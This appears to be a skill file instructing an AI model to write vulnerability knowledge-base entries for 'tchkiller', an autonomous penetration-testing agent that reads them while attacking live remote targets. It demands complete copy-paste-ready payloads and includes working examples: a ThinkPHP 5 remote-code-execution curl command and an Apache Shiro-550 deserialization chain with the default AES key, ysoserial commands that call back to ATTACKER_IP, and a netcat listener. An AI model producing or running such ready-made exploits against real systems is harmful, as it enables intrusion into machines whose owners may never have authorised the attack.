vulndb-writer

name

vulndb-writer

description

Write and fix vulnerability knowledge base (vulndb) entries for the tchkiller penetration testing agent. Use this skill whenever the user wants to create, import, fix, or audit vulndb markdown entries. This includes: writing new vulnerability entries from CVE/CNVD data or security advisories, converting vulnerability analysis articles or blog posts into vulndb entries, migrating from vulhub or other vulnerability repositories, fixing quality issues in existing entries (docker references, missing sections, bad verification), or batch-processing a fix_plan.json / migration_plan.json. Always use this skill when the task involves files under vulndb/, mentions "漏洞知识库", or when the user shares a vulnerability writeup, PoC, security advisory, blog post, or CVE details and wants it added to the knowledge base. Also trigger when the user says things like "把这个漏洞加进去", "帮我写个漏洞条目", "这个CVE加到知识库", or pastes vulnerability-related content.

Vulndb Writer

You are writing entries for tchkiller's vulnerability knowledge base — a structured collection of attack manuals that a penetration testing AI agent reads during live engagements. Every entry you write will be consumed by an automated agent attacking a real remote target, not a human reading documentation. This distinction drives every design decision below.

How the Agent Uses Vulndb

The agent discovers and reads entries through two MCP tools in sequence:

1. search_vulndb(query="shiro 反序列化") — FTS5 full-text search across title, product, tags, fingerprint, and body. Returns a summary list (id, title, severity, version).
2. read_vuln(id="Shiro-550") — Reads the full markdown entry for exploitation.

This means: title and fingerprint determine whether the agent finds your entry, and Payload + 验证方法 determine whether it can exploit the target. Write both with care.

Core Principle

Everything you write must be executable by an attacker who has only network access to the target.

The agent can only send HTTP requests, craft payloads, set up listeners, and observe responses. It cannot SSH into the target, run docker exec, read server logs, or access the filesystem. If a step requires physical or shell access to the target machine, it's useless to the agent and must be rewritten as something network-observable (curl response check, DNS/HTTP callback, etc.).

For the full architecture (index schema, MCP tools, search fallback logic), see VULNDB.md in the project root.

Entry Format

Each entry is a single .md file with YAML frontmatter followed by structured markdown sections.

File Location

vulndb/{category}/{product}/{VULN_ID}.md

• category: web (web apps, OA, CMS, ERP), middleware (servers, frameworks, databases), network (protocols, devices), or ai (AI/ML platforms, LLM tools)
• product: lowercase, hyphen-separated (e.g., tomcat, spring, thinkphp, tongda-oa, langflow)
• VULN_ID: CVE ID, CNVD ID, or descriptive ID in UPPER-CASE (e.g., CVE-2022-22965, THINKPHP-5-RCE)

YAML Frontmatter

---
id: CVE-2022-22965
title: Spring4Shell — Spring Framework Data Binding RCE
product: spring
vendor: Spring
version_affected: "5.3.0 - 5.3.17, 5.2.0 - 5.2.19"
severity: CRITICAL
tags: [rce, 无需认证]
fingerprint: ["Spring", "Spring MVC"]
---

Field rules:

• id: Matches the filename (without .md)
• title: Concise Chinese or English, include CVE if applicable
• product: Must match the parent directory name
• version_affected: Specific ranges when possible (e.g., "5.3.0 - 5.3.17"). Formats like "<= 5.18.2", "< 2.0", "all versions" are all acceptable. Only "未知" or "unknown" with no further info is bad — research it.
• severity: One of CRITICAL / HIGH / MEDIUM / LOW based on CVSS or impact
• tags: Free-form descriptive tags. Always include an attack type tag (e.g., rce, sqli, 命令注入) and an auth tag (无需认证 or 需要认证). Chinese and English tags are both fine; synonyms are acceptable — don't waste time normalizing them.
• fingerprint: Strings the agent can grep in HTTP responses to identify the product

Mandatory Sections

Every entry must contain these 6 sections. Optional sections (指纹确认, 参考链接, 修复建议, etc.) can be added freely — they won't interfere and shouldn't be removed during audits.

1. ## 漏洞描述

Briefly explain the root cause and what an attacker can achieve. Keep it concise — a few sentences is typical, but use as many as the vulnerability warrants.

2. ## 影响版本

Bullet list of affected version ranges. Research the actual versions from NVD, vendor advisories, or changelogs.

3. ## 前置条件

What must be true for exploitation to succeed:

• Authentication requirements (most important — always state explicitly)
• Required configuration (e.g., "PUT method enabled", "debug mode on")
• Network access requirements (e.g., "port 8161 accessible")

4. ## 利用步骤

Numbered steps forming a complete attack chain from initial access to impact. Each step should be a concrete action the agent can perform. Use as many steps as the attack chain requires.

5. ## Payload

The most important section. Provide complete, copy-paste-ready payloads:

• Use curl commands wherever possible — the agent executes these directly
• For binary protocols, provide the tool command (e.g., ysoserial, sqlmap)
• Include multiple payload variants when applicable (different bypass techniques)
• Use {target} or target:port as placeholder for the target address
• Include HTTP headers, POST bodies, and encoding exactly as needed

6. ## 验证方法

How to confirm successful exploitation, from the attacker's perspective over the network:

RCE with output    → curl + grep for uid=/whoami in response
RCE blind          → DNS/HTTP callback (curl http://attacker/$(id))
File write         → curl the uploaded file path
Info disclosure    → curl endpoint, grep for sensitive patterns
Auth bypass        → curl protected resource without creds, check 200
SSRF               → Point at attacker server, check callback
Deserialization    → JNDI/LDAP/RMI callback, check listener

The agent cannot run docker exec, read local files, or query databases on the target. If you're converting from a lab/vulhub source that uses these, replace them with network-observable verification (curl response, callback, or file access via HTTP).

localhost/127.0.0.1 rule: Only a problem when used as the target address (e.g., curl http://localhost:8080/vuln → should be target:8080). These are perfectly fine inside SSRF payloads, Host header manipulation, unix socket calls, or internal service references — those are part of the exploit, not the target address.

Quality Standards

A good entry enables the agent to go from "I found this product on the target" to "I have demonstrated impact" without any external knowledge:

1. Payloads are complete — no "refer to the PoC tool documentation" or "see GitHub for details"
2. Payloads are self-contained — if a tool like ysoserial is needed, show the exact command with all arguments
3. Verification is network-observable — the agent can confirm exploitation over the network
4. Version ranges are researched — not "未知" or vague hand-waving
5. Steps are actionable — each step maps to a concrete command or HTTP request

Common Issues

Issue	Fix
docker exec / docker logs in verification	Replace with curl response check or callback
python3 poc.py without inlined code	Inline the script or convert to curl
version_affected: "未知"	Research actual version ranges from NVD/vendor
	Replace with text description
localhost as target address	Use target or {target}

Audit Cost/Benefit Rule

When auditing existing entries, focus on issues that break the agent's ability to exploit targets. Skip cosmetic changes — tag synonyms, version format preferences (<= vs ranges), extra sections, section ordering, language choice, minor formatting. If the entry has complete working payloads and network-observable verification, it's good enough.

Importing and Batch Processing

• Importing from articles/advisories: Read references/importing.md for the full conversion workflow, source-specific extraction tips, and how to handle incomplete sources.
• Batch processing (fix_plan.json, migration_plan.json): Read references/batch-processing.md.

Post-Write Checklist

After creating or editing entries:

1. Rebuild the search index: cd <tchkiller-root> && python3 vulndb_index.py
2. Verify indexing: output should show ✅ 索引构建完成: N 条漏洞 → vulndb.sqlite
3. Spot-check search: query vulndb.sqlite to confirm the new entry is indexed

Examples

RCE with Direct Response

---
id: THINKPHP-5-RCE
title: ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞
product: thinkphp
vendor: ThinkPHP
version_affected: "5.0.0 - 5.0.22, 5.1.0 - 5.1.29"
severity: CRITICAL
tags: [rce, 无需认证]
fingerprint: ["ThinkPHP", "ThinkPHP 5.x"]
---

## 漏洞描述

ThinkPHP 5.x 由于未正确处理控制器名，在默认配置（未开启强制路由）下可通过
URL 调用任意方法，导致远程命令执行。

## 影响版本

- ThinkPHP 5.0.0 - 5.0.22
- ThinkPHP 5.1.0 - 5.1.29

## 前置条件

- 无需认证
- 目标未开启强制路由（默认配置）

## 利用步骤

1. 通过 `\think\app/invokefunction` 路由调用 `call_user_func_array`
2. 传入 `system` 函数和要执行的命令

## Payload

    curl "http://target:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id"

## 验证方法

    curl -s "http://target:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id" | grep "uid="

Blind RCE via Deserialization (Callback-Based Verification)

This pattern covers the harder case — no output in the HTTP response, verification requires a callback.

---
id: Shiro-550
title: Apache Shiro RememberMe 反序列化远程代码执行漏洞
product: shiro
vendor: Apache
version_affected: "< 1.2.5"
severity: CRITICAL
tags: [rce, deserialization, 无需认证]
fingerprint: ["rememberMe=deleteMe", "Set-Cookie: rememberMe"]
---

## 漏洞描述

Apache Shiro 使用硬编码 AES 密钥加密 RememberMe Cookie。攻击者可构造恶意序列化对象，
经 AES 加密 + Base64 编码后设置为 Cookie 值，服务端反序列化时触发任意代码执行。

## 影响版本

- Apache Shiro < 1.2.5（使用默认密钥 kPH+bIxk5D2deZiIxcaaaA==）
- 使用已泄露自定义密钥的更高版本

## 前置条件

- 无需认证
- 目标使用默认或已知 Shiro 密钥

## 利用步骤

1. 访问目标，检查响应头是否包含 `rememberMe=deleteMe`（确认使用 Shiro）
2. 使用 ysoserial 生成反序列化 payload（如 CommonsBeanutils1 链）
3. 用 Shiro 默认密钥 AES-CBC 加密 payload，Base64 编码
4. 将编码结果放入 `Cookie: rememberMe=<payload>` 发送请求
5. 通过 JNDI/DNS/HTTP 回连确认 RCE

## Payload

    # 生成反序列化数据（需要 ysoserial）
    java -jar ysoserial.jar CommonsBeanutils1 "curl http://ATTACKER_IP:8888/shiro_callback" > payload.bin

    # AES-CBC 加密 + Base64（使用 shiro_tool 或 Python 脚本）
    python3 shiro_exploit.py -u http://target:8080 -k kPH+bIxk5D2deZiIxcaaaA== -p payload.bin

    # 或者直接用集成工具
    python3 shiro_exploit.py -u http://target:8080 -g CommonsBeanutils1 -c "curl http://ATTACKER_IP:8888/callback"

## 验证方法

    # 在攻击机上启动监听，等待回连
    nc -lvp 8888
    # 发送 payload 后，如果收到 HTTP 请求，说明 RCE 成功

    # 或使用 DNS 回连验证
    # payload 命令改为: ping -c 1 shiro.ATTACKER_DOMAIN
    # 在 DNS 服务器上检查是否收到解析请求